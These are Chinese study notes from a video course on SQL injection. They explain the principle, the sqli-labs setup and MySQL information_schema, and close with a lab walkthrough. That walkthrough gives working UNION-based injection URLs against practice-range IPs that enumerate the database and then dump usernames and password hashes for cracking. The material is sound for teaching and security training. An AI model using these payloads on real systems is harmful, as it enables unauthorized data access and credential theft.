本笔记基于B站迪总2020年视频学习,埋藏许久,偶然看到拿出来与诸君分享,B站搜索小迪安全,带你吃瓜!
SQL注入在安全测试中的危害
1.对数据库内的数据进行操控,比如:查询,删除等,某些可以更改后门
2. 通过注入点更改网站权限。
SQL注入产生原理详细分析
id接收到网页数据1,将其发送给sql,而后echo $sql;是输出上一条sql语句,接着将拼装好的sql语句传给$result,完事之后到数据中执行,最后展示
靶场中显示的结果:
分析语句
id=-2,是让union前面的语句报错,把后面联合查询的语句在页面中显示出来。如果前面语句没有报错,页面是只有一个位置显示数据,会只显示第一条查询的语句,后面自己插入的联合查询的语句就不会显示出来,反之后面的语句就会到数据库当中执行
SQL注入原理详细分析
可控变量.
带入数据库查询
变量未存在过滤,或过滤不严谨(此题针对id)
以上缺一不可
知识点
1234 都可能存在SQL注入漏洞
相当于1,只是将index.php被省略了
就多加了一个参数
有post注入
答案是 bc
a 错误的原因是注入点是x,却把注入的代码写在了y的后面
d 错误的原因是注入点是x,却没有出现x这个变量
例:
注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,然后在后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改到指定位置‘*’,使得能够成功在注入点指定位置加上语句,从而使注入能够成功。
搭建第一个SQL注入学习靶场环境
下载地址:https://github.com/Audi-1/sqli-labs
安装教程:百度即可
可能出现的问题:
1.这个页面:
解决方法(点击即可):
2.进入靶场首页这样,建议彻底删除重新安装一遍(可能是页面不存在建议删除重新安装,当时小白阶段不太懂)(将sqliabs英文适当的加些字符)
3.扩展遇到的数据库连接问题和navciat中弹窗错错误的解决方式
学习第一个数据库MYSQL简单注入
MYSQL注入:
思维导图
1.信息收集
操作系统
数据库名
数据库用户
数据库版本
2.数据注入
根据数据库版本
低版本 暴力查询结合读取查询
高版本 information_schema有据查询
3.高权限注入
常规查询
跨库查询
文件读写(需要网站路径)
MYSQL数据库内部大致关系
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必备知识点:
1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
1.如何判断注入点(正常错误的判定标准)
老办法(可能存在注入点):
and 1=1 页面正常、
and 1=2 页面正常错误
案例:
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
依据前提:
逻辑运算符
或 且 非
or and xor
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
依据:
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
能不能用or判断?
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
不能!
原因是什么?前面的语句为真的时候,不能判断第两个语句为真还是假
要选用最舒服的方法测试是否存在注入点
SELECT * FROM users WHERE id=1dadad(随便输入)LIMIT 0,1
在可能存在注入的变量后随便输入值后,存在三种情况:
1)对网页有影响,说明带入数据库进行查询有注入点
2)对网页没有影响,说明没有带入数据库查询,也说明对应的参数没有漏洞
3)网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,被特殊执行语句过滤掉了,基本不存在SQL注入漏洞
2.猜解列名数量(字段数)
order by X 错误与正常值的试探
字段数为查询正常显示与非正常显示的那个临界值
实验演示
解题步骤:
启动墨者学院内部靶场
显示如下页面,这个url是入手的地方
1.判断注入点
在 ?id=tingjigonggao后面加上'判断,结果显示存在注入
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'
2.判断字段数
利用'order by 任意数字 %23去判断,得到4(结尾加%23的原因:在一个语句结尾时,需要用#结尾,而#的url编码就是%23)
4时依然是正常的,而5就报错,说明此网站的数据库有4个字段。
http://219.153.49.228:49521/new_list.php?id=1 order by 4 %23
3.信息收集
数据库名:database(); mozhe_discuz_stormgroup
数据库用户:user(); root@localhost
数据库版本:version(); 10.2.15-MariaDB-log
操作系统:@@version_compile_os; Linux
其他如系统路径等:@@datadir; /var/lib/mysql/
猜解准备:在?id=tingjigonggao'后面加and 1=2(逻辑错误语句)(也可以是用其他方式),出现显示位2、3,优先使用union联合注入。
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,2,3,4 %23
3.1查询数据库名和版本
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,database(),version(),4 %23
3.2 查询操作系统和用户
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,@@version_compile_os,user(),4 %23
3.3其他如系统路径
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,@@datadir,user(),4 %23
4.查询数据库下的表
new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema='mozhe_discuz_stormgroup' %23
注释:1.information_schema.tables 中information_schena这个数据库(系统库)下的表
2.数据库名前面查出来的。
3.默认自带:
information_shcema.tables:记录所有表信息的表
information_shcema.columns:记录所有列名信息的表
table_name:表名
columns_name:列名
table_schema:数据库名
5.查询数据表下的字段(列)
查询stormgroup_member表的列名
new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name='stormgroup_member' %23
查询总的列名
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(column_name),3,4 f
rom information_schema.tables
where columns_schema='mozhe_discuz_stormgroup' %23
6.查询账号密码
保存账号的name,保存密码的password,只需要查询以上即可
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(name),group_concat(password),4
from stormgroup_member %23
7.MD5解密
8.解密第二个便登录成功